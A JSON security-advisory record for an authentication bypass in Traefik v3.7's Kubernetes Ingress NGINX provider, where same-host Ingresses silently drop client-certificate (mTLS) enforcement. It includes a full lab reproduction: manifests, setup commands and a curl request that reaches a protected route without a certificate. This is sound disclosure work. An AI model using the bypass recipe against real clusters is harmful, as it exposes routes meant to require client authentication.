{"id":"GHSA-j994-9gqj-9hwq","aliases":[],"summary":"Same-host Ingress TLS option conflict disables client-certificate authentication","published_at":"2026-08-21T09:45:53Z","modified_at":"2026-08-21T09:45:53Z","products":[{"slug":"traefik","name":"Traefik","category":"proxy"}],"rating":{"severity":"high","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false},"fix_available":true,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"priority":10.2,"record_count":1,"vendors":["GitHub"],"details":"## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. The TLS option generated for an Ingress carrying the `nginx.ingress.kubernetes.io/auth-tls-secret` annotation was named after the Ingress namespace and name, so two Ingress objects sharing the same host, the same client CA secret and the same client-authentication mode produced two distinct TLS options for that host name. Traefik treats that as a TLS options conflict and falls back to the entry point's default TLS configuration, which does not request a client certificate, so a route configured with `nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"` becomes reachable without one. The generated option name is now derived from the client CA secret and the client-authentication mode alone, so Ingresses expressing the same mTLS policy resolve to a single TLS option. Only the v3.7 line is affected: the Ingress NGINX provider's client-authentication handling was introduced in v3.7.0, and neither Traefik v2 nor the v3 lines up to v3.6 carry it.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.11\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\r\n\r\nTraefik v3.7.9's Kubernetes Ingress NGINX provider can assign different TLS\r\noption names to two Ingress objects that use the same host, the same\r\n`auth-tls-secret`, and the same client-authentication mode. When those routers\r\nshare an SNI/host, Traefik treats the TLS option selection as ambiguous and\r\nfalls back to the entrypoint's default TLS configuration.\r\n\r\nThe default TLS configuration does not require a client certificate. As a\r\nresult, a route configured with\r\n`nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"` can become reachable\r\nwithout a client certificate when another Ingress for the same host introduces\r\nthe TLS-option conflict.\r\n\r\nThis behavior was reproduced end to end with the official `traefik:v3.7.9`\r\nimage and the Kubernetes Ingress NGINX provider.\r\n\r\n## Affected configuration\r\n\r\nThe issue requires at least two HTTPS Ingress objects for the same host. Both\r\nobjects use the same client CA and client-authentication mode, but have\r\ndifferent Ingress names. The relevant parts of the two objects are:\r\n\r\n```yaml\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: protected-ingress\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts:\r\n        - mtls.example.test\r\n      secretName: server-tls\r\n  rules:\r\n    - host: mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /protected\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: same-host-second-ingress\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts:\r\n        - mtls.example.test\r\n      secretName: server-tls\r\n  rules:\r\n    - host: mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /second\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n```\r\n\r\nThe two generated TLS option names observed in the Traefik configuration were:\r\n\r\n```text\r\nmtls-conflict-lab-protected-ingress-mtls-conflict-lab-client-ca\r\nmtls-conflict-lab-same-host-second-ingress-mtls-conflict-lab-client-ca\r\n```\r\n\r\nThese are generated TLS option identifiers, not files or directories. Both\r\noptions had `clientAuthType: RequireAndVerifyClientCert`, but their names were\r\ndifferent because the Ingress identity was included in the generated name.\r\n\r\nTraefik then logged:\r\n\r\n```text\r\nOn EntryPoint \"websecure\", Host \"mtls.example.test\" is served by multiple routers with different TLS options, default TLSOptions will be applied\r\n```\r\n\r\nThe default TLS configuration has no client-authentication requirement.\r\n\r\n## Reproduction\r\n\r\nThe following describes the complete lab. No directory attachment is required.\r\nThe lab used Traefik v3.7.9, k3s v1.31.5-k3s1, and the Kubernetes Ingress NGINX\r\nprovider.\r\n\r\n### Certificates\r\n\r\nThe test uses four ordinary PEM files:\r\n\r\n- `ca.crt`: CA used by Traefik to verify client certificates.\r\n- `server.crt` and `server.key`: server certificate and key. The certificate\r\n  contains `mtls.example.test` and `control.mtls.example.test` as DNS SANs.\r\n- `client.crt` and `client.key`: a client certificate signed by `ca.crt`.\r\n\r\nThey can be generated locally with OpenSSL as follows:\r\n\r\n```bash\r\nmkdir -p certs\r\n\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 3650 \\\r\n  -keyout certs/ca.key -out certs/ca.crt \\\r\n  -subj \"/CN=mtls-conflict-lab-ca\"\r\n\r\nopenssl req -newkey rsa:2048 -nodes \\\r\n  -keyout certs/server.key -out certs/server.csr \\\r\n  -subj \"/CN=mtls.example.test\"\r\n\r\ncat > certs/server.ext <<'EOF'\r\n[server_ext]\r\nbasicConstraints=CA:FALSE\r\nkeyUsage=digitalSignature,keyEncipherment\r\nextendedKeyUsage=serverAuth\r\nsubjectAltName=DNS:mtls.example.test,DNS:control.mtls.example.test\r\nEOF\r\n\r\nopenssl x509 -req -days 3650 -sha256 \\\r\n  -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key \\\r\n  -CAcreateserial -out certs/server.crt \\\r\n  -extfile certs/server.ext -extensions server_ext\r\n\r\nopenssl req -newkey rsa:2048 -nodes \\\r\n  -keyout certs/client.key -out certs/client.csr \\\r\n  -subj \"/CN=mtls-conflict-lab-client\"\r\n\r\ncat > certs/client.ext <<'EOF'\r\n[client_ext]\r\nbasicConstraints=CA:FALSE\r\nkeyUsage=digitalSignature,keyEncipherment\r\nextendedKeyUsage=clientAuth\r\nEOF\r\n\r\nopenssl x509 -req -days 3650 -sha256 \\\r\n  -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key \\\r\n  -CAcreateserial -out certs/client.crt \\\r\n  -extfile certs/client.ext -extensions client_ext\r\n```\r\n\r\n### Traefik and k3s\r\n\r\nThe static Traefik configuration was equivalent to:\r\n\r\n```yaml\r\nservices:\r\n  k3s:\r\n    image: rancher/k3s:v1.31.5-k3s1\r\n    privileged: true\r\n    command:\r\n      - server\r\n      - --disable=traefik\r\n      - --disable=servicelb\r\n      - --tls-san=host.docker.internal\r\n      - --write-kubeconfig=/output/kubeconfig.yaml\r\n      - --write-kubeconfig-mode=644\r\n    ports:\r\n      - \"16448:6443\"\r\n      - \"18448:8443\"\r\n    volumes:\r\n      - ./k3s/output:/output\r\n\r\n  traefik:\r\n    image: traefik:v3.7.9\r\n    network_mode: \"service:k3s\"\r\n    command:\r\n      - --entrypoints.websecure.address=:8443\r\n      - --providers.kubernetesingressnginx=true\r\n      - --providers.kubernetesingressnginx.endpoint=https://127.0.0.1:6443\r\n      - --providers.kubernetesingressnginx.token=${K3S_TOKEN}\r\n      - --providers.kubernetesingressnginx.certauthfilepath=/etc/traefik/k3s/server-ca.crt\r\n      - --providers.kubernetesingressnginx.ingressclass=nginx\r\n      - --providers.kubernetesingressnginx.controllerclass=k8s.io/ingress-nginx\r\n      - --log.level=DEBUG\r\n      - --accesslog=true\r\n    volumes:\r\n      - ./k3s/server-ca.crt:/etc/traefik/k3s/server-ca.crt:ro\r\n```\r\n\r\nThe Kubernetes service account used for this isolated test was granted access\r\nto read the test resources. The test backend was an nginx service listening on\r\nport 8080 and returning:\r\n\r\n```text\r\nBACKEND_REACHED path=/protected\r\n```\r\n\r\nThe complete logical Kubernetes resources were:\r\n\r\n```yaml\r\napiVersion: v1\r\nkind: Namespace\r\nmetadata:\r\n  name: mtls-conflict-lab\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: IngressClass\r\nmetadata:\r\n  name: nginx\r\nspec:\r\n  controller: k8s.io/ingress-nginx\r\n---\r\napiVersion: v1\r\nkind: ConfigMap\r\nmetadata:\r\n  name: backend-nginx-config\r\n  namespace: mtls-conflict-lab\r\ndata:\r\n  default.conf: |\r\n    server {\r\n      listen 8080;\r\n      server_name _;\r\n      access_log /dev/stdout;\r\n      default_type text/plain;\r\n      location / {\r\n        return 200 \"BACKEND_REACHED path=$request_uri\\n\";\r\n      }\r\n    }\r\n---\r\napiVersion: apps/v1\r\nkind: Deployment\r\nmetadata:\r\n  name: backend\r\n  namespace: mtls-conflict-lab\r\nspec:\r\n  replicas: 1\r\n  selector:\r\n    matchLabels:\r\n      app: backend\r\n  template:\r\n    metadata:\r\n      labels:\r\n        app: backend\r\n    spec:\r\n      containers:\r\n        - name: nginx\r\n          image: nginx:1.27-alpine\r\n          ports:\r\n            - name: http\r\n              containerPort: 8080\r\n          readinessProbe:\r\n            tcpSocket:\r\n              port: http\r\n          volumeMounts:\r\n            - name: config\r\n              mountPath: /etc/nginx/conf.d/default.conf\r\n              subPath: default.conf\r\n              readOnly: true\r\n      volumes:\r\n        - name: config\r\n          configMap:\r\n            name: backend-nginx-config\r\n---\r\napiVersion: v1\r\nkind: Service\r\nmetadata:\r\n  name: backend\r\n  namespace: mtls-conflict-lab\r\nspec:\r\n  selector:\r\n    app: backend\r\n  ports:\r\n    - name: http\r\n      port: 8080\r\n      targetPort: 8080\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: protected-ingress\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts: [mtls.example.test]\r\n      secretName: server-tls\r\n  rules:\r\n    - host: mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /protected\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: same-host-second-ingress\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts: [mtls.example.test]\r\n      secretName: server-tls\r\n  rules:\r\n    - host: mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /second\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: single-router-control\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts: [control.mtls.example.test]\r\n      secretName: server-tls\r\n  rules:\r\n    - host: control.mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /protected\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n```\r\n\r\nThe `server-tls` and `client-ca` Secrets are deliberately created separately so\r\nthat private key material does not need to be embedded in the report. Save the\r\nCompose block above as `docker-compose.yml` and the Kubernetes block above as\r\n`k8s-manifest.yml` before running the following commands.\r\n\r\n### Commands and results\r\n\r\n```bash\r\ndocker compose up -d k3s\r\n\r\nuntil test -f k3s/output/kubeconfig.yaml; do sleep 2; done\r\ndocker cp \"$(docker compose ps -q k3s):/var/lib/rancher/k3s/server/tls/server-ca.crt\" \\\r\n  k3s/server-ca.crt\r\n\r\nexport KUBECONFIG=\"$PWD/k3s/output/kubeconfig.yaml\"\r\nsed -i.bak 's#https://127.0.0.1:6443#https://127.0.0.1:16448#' \\\r\n  k3s/output/kubeconfig.yaml\r\nuntil kubectl get nodes >/dev/null 2>&1; do sleep 2; done\r\n\r\nkubectl -n kube-system create serviceaccount traefik-validation\r\nkubectl create clusterrolebinding traefik-validation \\\r\n  --clusterrole=cluster-admin \\\r\n  --serviceaccount=kube-system:traefik-validation\r\nkubectl apply -f k8s-manifest.yml\r\nkubectl -n mtls-conflict-lab create secret tls server-tls \\\r\n  --cert=certs/server.crt --key=certs/server.key\r\nkubectl -n mtls-conflict-lab create secret generic client-ca \\\r\n  --from-file=ca.crt=certs/ca.crt\r\n\r\nexport K3S_TOKEN=\"$(kubectl -n kube-system create token traefik-validation)\"\r\nK3S_TOKEN=\"$K3S_TOKEN\" docker compose up -d traefik\r\nkubectl -n mtls-conflict-lab rollout status deployment/backend --timeout=120s\r\nsleep 4\r\n```\r\n\r\nRequest to the same-host split configuration without a client certificate:\r\n\r\n```bash\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve mtls.example.test:18448:127.0.0.1 \\\r\n  https://mtls.example.test:18448/protected\r\n```\r\n\r\nObserved result on `traefik:v3.7.9`:\r\n\r\n```text\r\nHTTP/1.1 200 OK\r\nBACKEND_REACHED path=/protected\r\n```\r\n\r\nThe same request with a valid client certificate also returned `200 OK`:\r\n\r\n```bash\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve mtls.example.test:18448:127.0.0.1 \\\r\n  --cert certs/client.crt --key certs/client.key \\\r\n  https://mtls.example.test:18448/protected\r\n```\r\n\r\nControl request to a host served by a single Ingress, without a client\r\ncertificate:\r\n\r\n```bash\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve control.mtls.example.test:18448:127.0.0.1 \\\r\n  https://control.mtls.example.test:18448/protected\r\necho \"curl_exit=$?\"\r\n```\r\n\r\nObserved control result:\r\n\r\n```text\r\ncurl_exit=56\r\n```\r\n\r\nThe `-k` option only disables verification of the local server certificate. It\r\ndoes not provide a client certificate and does not disable server-side\r\nclient-authentication.\r\n\r\n## Impact and preconditions\r\n\r\nAn unauthenticated network client can reach a route intended to require mTLS\r\nwhen all of the following are true:\r\n\r\n1. The Kubernetes Ingress NGINX provider is enabled.\r\n2. The same SNI/host is split across multiple HTTPS Ingress objects.\r\n3. The resulting routers receive different TLS option names.\r\n4. At least one of those routes is intended to require and verify client\r\n   certificates.\r\n5. The affected route is reachable by the client.\r\n\r\nThe issue is configuration-dependent. A host served by a single unambiguous TLS\r\noption is not affected by this specific conflict.\r\n\r\nIf an untrusted tenant can create another Ingress for an existing host, that\r\ntenant may be able to introduce the conflict. After the conflicting\r\nconfiguration has been accepted, the network client accessing the route does\r\nnot need Kubernetes credentials or a client certificate.\r\n\r\n## Suggested remediation\r\n\r\n- Reuse one TLS option identity for equivalent host-level client-authentication\r\n  settings rather than including the Ingress identity in the option name.\r\n- Reject or fail closed when same-host routers have conflicting TLS options.\r\n- Do not fall back from `RequireAndVerifyClientCert` to a default\r\n  `NoClientCert` configuration when a same-host conflict involves client auth.\r\n- Add a regression test proving that split same-host Ingress objects cannot\r\n  downgrade `RequireAndVerifyClientCert` to `NoClientCert`.\r\n\r\n## Source locations\r\n\r\n- `pkg/provider/kubernetes/ingress-nginx/kubernetes.go`: generates and attaches\r\n  the per-Ingress auth-TLS option.\r\n- `pkg/server/router/tcp/manager.go`: resolves same-host TLS options and falls\r\n  back to the default option when they differ.\r\n- `pkg/tls/tlsmanager.go`: initializes the default TLS configuration without a\r\n  client-authentication requirement.\r\n\n\n</details>","affected_stack":[{"ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"v3.7.0"},{"fixed":"v3.7.11"}]}],"fixed":["v3.7.11"],"provider":"github-repo-advisories","source":"GHSA-j994-9gqj-9hwq","relation":"self"}],"affected_other":[],"product_status":[],"records":[{"provider":"github-repo-advisories","source_id":"GHSA-j994-9gqj-9hwq","relation":"self","url":"https://github.com/traefik/traefik/security/advisories/GHSA-j994-9gqj-9hwq","license":"GitHub Terms of Service","published_at":"2026-08-21T09:45:53Z","modified_at":"2026-08-21T09:45:53Z","summary":"Same-host Ingress TLS option conflict disables client-certificate authentication","details":"## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. The TLS option generated for an Ingress carrying the `nginx.ingress.kubernetes.io/auth-tls-secret` annotation was named after the Ingress namespace and name, so two Ingress objects sharing the same host, the same client CA secret and the same client-authentication mode produced two distinct TLS options for that host name. Traefik treats that as a TLS options conflict and falls back to the entry point's default TLS configuration, which does not request a client certificate, so a route configured with `nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"` becomes reachable without one. The generated option name is now derived from the client CA secret and the client-authentication mode alone, so Ingresses expressing the same mTLS policy resolve to a single TLS option. Only the v3.7 line is affected: the Ingress NGINX provider's client-authentication handling was introduced in v3.7.0, and neither Traefik v2 nor the v3 lines up to v3.6 carry it.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.11\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\r\n\r\nTraefik v3.7.9's Kubernetes Ingress NGINX provider can assign different TLS\r\noption names to two Ingress objects that use the same host, the same\r\n`auth-tls-secret`, and the same client-authentication mode. When those routers\r\nshare an SNI/host, Traefik treats the TLS option selection as ambiguous and\r\nfalls back to the entrypoint's default TLS configuration.\r\n\r\nThe default TLS configuration does not require a client certificate. As a\r\nresult, a route configured with\r\n`nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"` can become reachable\r\nwithout a client certificate when another Ingress for the same host introduces\r\nthe TLS-option conflict.\r\n\r\nThis behavior was reproduced end to end with the official `traefik:v3.7.9`\r\nimage and the Kubernetes Ingress NGINX provider.\r\n\r\n## Affected configuration\r\n\r\nThe issue requires at least two HTTPS Ingress objects for the same host. Both\r\nobjects use the same client CA and client-authentication mode, but have\r\ndifferent Ingress names. The relevant parts of the two objects are:\r\n\r\n```yaml\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: protected-ingress\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts:\r\n        - mtls.example.test\r\n      secretName: server-tls\r\n  rules:\r\n    - host: mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /protected\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: same-host-second-ingress\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts:\r\n        - mtls.example.test\r\n      secretName: server-tls\r\n  rules:\r\n    - host: mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /second\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n```\r\n\r\nThe two generated TLS option names observed in the Traefik configuration were:\r\n\r\n```text\r\nmtls-conflict-lab-protected-ingress-mtls-conflict-lab-client-ca\r\nmtls-conflict-lab-same-host-second-ingress-mtls-conflict-lab-client-ca\r\n```\r\n\r\nThese are generated TLS option identifiers, not files or directories. Both\r\noptions had `clientAuthType: RequireAndVerifyClientCert`, but their names were\r\ndifferent because the Ingress identity was included in the generated name.\r\n\r\nTraefik then logged:\r\n\r\n```text\r\nOn EntryPoint \"websecure\", Host \"mtls.example.test\" is served by multiple routers with different TLS options, default TLSOptions will be applied\r\n```\r\n\r\nThe default TLS configuration has no client-authentication requirement.\r\n\r\n## Reproduction\r\n\r\nThe following describes the complete lab. No directory attachment is required.\r\nThe lab used Traefik v3.7.9, k3s v1.31.5-k3s1, and the Kubernetes Ingress NGINX\r\nprovider.\r\n\r\n### Certificates\r\n\r\nThe test uses four ordinary PEM files:\r\n\r\n- `ca.crt`: CA used by Traefik to verify client certificates.\r\n- `server.crt` and `server.key`: server certificate and key. The certificate\r\n  contains `mtls.example.test` and `control.mtls.example.test` as DNS SANs.\r\n- `client.crt` and `client.key`: a client certificate signed by `ca.crt`.\r\n\r\nThey can be generated locally with OpenSSL as follows:\r\n\r\n```bash\r\nmkdir -p certs\r\n\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 3650 \\\r\n  -keyout certs/ca.key -out certs/ca.crt \\\r\n  -subj \"/CN=mtls-conflict-lab-ca\"\r\n\r\nopenssl req -newkey rsa:2048 -nodes \\\r\n  -keyout certs/server.key -out certs/server.csr \\\r\n  -subj \"/CN=mtls.example.test\"\r\n\r\ncat > certs/server.ext <<'EOF'\r\n[server_ext]\r\nbasicConstraints=CA:FALSE\r\nkeyUsage=digitalSignature,keyEncipherment\r\nextendedKeyUsage=serverAuth\r\nsubjectAltName=DNS:mtls.example.test,DNS:control.mtls.example.test\r\nEOF\r\n\r\nopenssl x509 -req -days 3650 -sha256 \\\r\n  -in certs/server.csr -CA certs/ca.crt -CAkey certs/ca.key \\\r\n  -CAcreateserial -out certs/server.crt \\\r\n  -extfile certs/server.ext -extensions server_ext\r\n\r\nopenssl req -newkey rsa:2048 -nodes \\\r\n  -keyout certs/client.key -out certs/client.csr \\\r\n  -subj \"/CN=mtls-conflict-lab-client\"\r\n\r\ncat > certs/client.ext <<'EOF'\r\n[client_ext]\r\nbasicConstraints=CA:FALSE\r\nkeyUsage=digitalSignature,keyEncipherment\r\nextendedKeyUsage=clientAuth\r\nEOF\r\n\r\nopenssl x509 -req -days 3650 -sha256 \\\r\n  -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key \\\r\n  -CAcreateserial -out certs/client.crt \\\r\n  -extfile certs/client.ext -extensions client_ext\r\n```\r\n\r\n### Traefik and k3s\r\n\r\nThe static Traefik configuration was equivalent to:\r\n\r\n```yaml\r\nservices:\r\n  k3s:\r\n    image: rancher/k3s:v1.31.5-k3s1\r\n    privileged: true\r\n    command:\r\n      - server\r\n      - --disable=traefik\r\n      - --disable=servicelb\r\n      - --tls-san=host.docker.internal\r\n      - --write-kubeconfig=/output/kubeconfig.yaml\r\n      - --write-kubeconfig-mode=644\r\n    ports:\r\n      - \"16448:6443\"\r\n      - \"18448:8443\"\r\n    volumes:\r\n      - ./k3s/output:/output\r\n\r\n  traefik:\r\n    image: traefik:v3.7.9\r\n    network_mode: \"service:k3s\"\r\n    command:\r\n      - --entrypoints.websecure.address=:8443\r\n      - --providers.kubernetesingressnginx=true\r\n      - --providers.kubernetesingressnginx.endpoint=https://127.0.0.1:6443\r\n      - --providers.kubernetesingressnginx.token=${K3S_TOKEN}\r\n      - --providers.kubernetesingressnginx.certauthfilepath=/etc/traefik/k3s/server-ca.crt\r\n      - --providers.kubernetesingressnginx.ingressclass=nginx\r\n      - --providers.kubernetesingressnginx.controllerclass=k8s.io/ingress-nginx\r\n      - --log.level=DEBUG\r\n      - --accesslog=true\r\n    volumes:\r\n      - ./k3s/server-ca.crt:/etc/traefik/k3s/server-ca.crt:ro\r\n```\r\n\r\nThe Kubernetes service account used for this isolated test was granted access\r\nto read the test resources. The test backend was an nginx service listening on\r\nport 8080 and returning:\r\n\r\n```text\r\nBACKEND_REACHED path=/protected\r\n```\r\n\r\nThe complete logical Kubernetes resources were:\r\n\r\n```yaml\r\napiVersion: v1\r\nkind: Namespace\r\nmetadata:\r\n  name: mtls-conflict-lab\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: IngressClass\r\nmetadata:\r\n  name: nginx\r\nspec:\r\n  controller: k8s.io/ingress-nginx\r\n---\r\napiVersion: v1\r\nkind: ConfigMap\r\nmetadata:\r\n  name: backend-nginx-config\r\n  namespace: mtls-conflict-lab\r\ndata:\r\n  default.conf: |\r\n    server {\r\n      listen 8080;\r\n      server_name _;\r\n      access_log /dev/stdout;\r\n      default_type text/plain;\r\n      location / {\r\n        return 200 \"BACKEND_REACHED path=$request_uri\\n\";\r\n      }\r\n    }\r\n---\r\napiVersion: apps/v1\r\nkind: Deployment\r\nmetadata:\r\n  name: backend\r\n  namespace: mtls-conflict-lab\r\nspec:\r\n  replicas: 1\r\n  selector:\r\n    matchLabels:\r\n      app: backend\r\n  template:\r\n    metadata:\r\n      labels:\r\n        app: backend\r\n    spec:\r\n      containers:\r\n        - name: nginx\r\n          image: nginx:1.27-alpine\r\n          ports:\r\n            - name: http\r\n              containerPort: 8080\r\n          readinessProbe:\r\n            tcpSocket:\r\n              port: http\r\n          volumeMounts:\r\n            - name: config\r\n              mountPath: /etc/nginx/conf.d/default.conf\r\n              subPath: default.conf\r\n              readOnly: true\r\n      volumes:\r\n        - name: config\r\n          configMap:\r\n            name: backend-nginx-config\r\n---\r\napiVersion: v1\r\nkind: Service\r\nmetadata:\r\n  name: backend\r\n  namespace: mtls-conflict-lab\r\nspec:\r\n  selector:\r\n    app: backend\r\n  ports:\r\n    - name: http\r\n      port: 8080\r\n      targetPort: 8080\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: protected-ingress\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts: [mtls.example.test]\r\n      secretName: server-tls\r\n  rules:\r\n    - host: mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /protected\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: same-host-second-ingress\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts: [mtls.example.test]\r\n      secretName: server-tls\r\n  rules:\r\n    - host: mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /second\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n---\r\napiVersion: networking.k8s.io/v1\r\nkind: Ingress\r\nmetadata:\r\n  name: single-router-control\r\n  namespace: mtls-conflict-lab\r\n  annotations:\r\n    nginx.ingress.kubernetes.io/auth-tls-secret: \"mtls-conflict-lab/client-ca\"\r\n    nginx.ingress.kubernetes.io/auth-tls-verify-client: \"on\"\r\nspec:\r\n  ingressClassName: nginx\r\n  tls:\r\n    - hosts: [control.mtls.example.test]\r\n      secretName: server-tls\r\n  rules:\r\n    - host: control.mtls.example.test\r\n      http:\r\n        paths:\r\n          - path: /protected\r\n            pathType: Prefix\r\n            backend:\r\n              service:\r\n                name: backend\r\n                port:\r\n                  name: http\r\n```\r\n\r\nThe `server-tls` and `client-ca` Secrets are deliberately created separately so\r\nthat private key material does not need to be embedded in the report. Save the\r\nCompose block above as `docker-compose.yml` and the Kubernetes block above as\r\n`k8s-manifest.yml` before running the following commands.\r\n\r\n### Commands and results\r\n\r\n```bash\r\ndocker compose up -d k3s\r\n\r\nuntil test -f k3s/output/kubeconfig.yaml; do sleep 2; done\r\ndocker cp \"$(docker compose ps -q k3s):/var/lib/rancher/k3s/server/tls/server-ca.crt\" \\\r\n  k3s/server-ca.crt\r\n\r\nexport KUBECONFIG=\"$PWD/k3s/output/kubeconfig.yaml\"\r\nsed -i.bak 's#https://127.0.0.1:6443#https://127.0.0.1:16448#' \\\r\n  k3s/output/kubeconfig.yaml\r\nuntil kubectl get nodes >/dev/null 2>&1; do sleep 2; done\r\n\r\nkubectl -n kube-system create serviceaccount traefik-validation\r\nkubectl create clusterrolebinding traefik-validation \\\r\n  --clusterrole=cluster-admin \\\r\n  --serviceaccount=kube-system:traefik-validation\r\nkubectl apply -f k8s-manifest.yml\r\nkubectl -n mtls-conflict-lab create secret tls server-tls \\\r\n  --cert=certs/server.crt --key=certs/server.key\r\nkubectl -n mtls-conflict-lab create secret generic client-ca \\\r\n  --from-file=ca.crt=certs/ca.crt\r\n\r\nexport K3S_TOKEN=\"$(kubectl -n kube-system create token traefik-validation)\"\r\nK3S_TOKEN=\"$K3S_TOKEN\" docker compose up -d traefik\r\nkubectl -n mtls-conflict-lab rollout status deployment/backend --timeout=120s\r\nsleep 4\r\n```\r\n\r\nRequest to the same-host split configuration without a client certificate:\r\n\r\n```bash\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve mtls.example.test:18448:127.0.0.1 \\\r\n  https://mtls.example.test:18448/protected\r\n```\r\n\r\nObserved result on 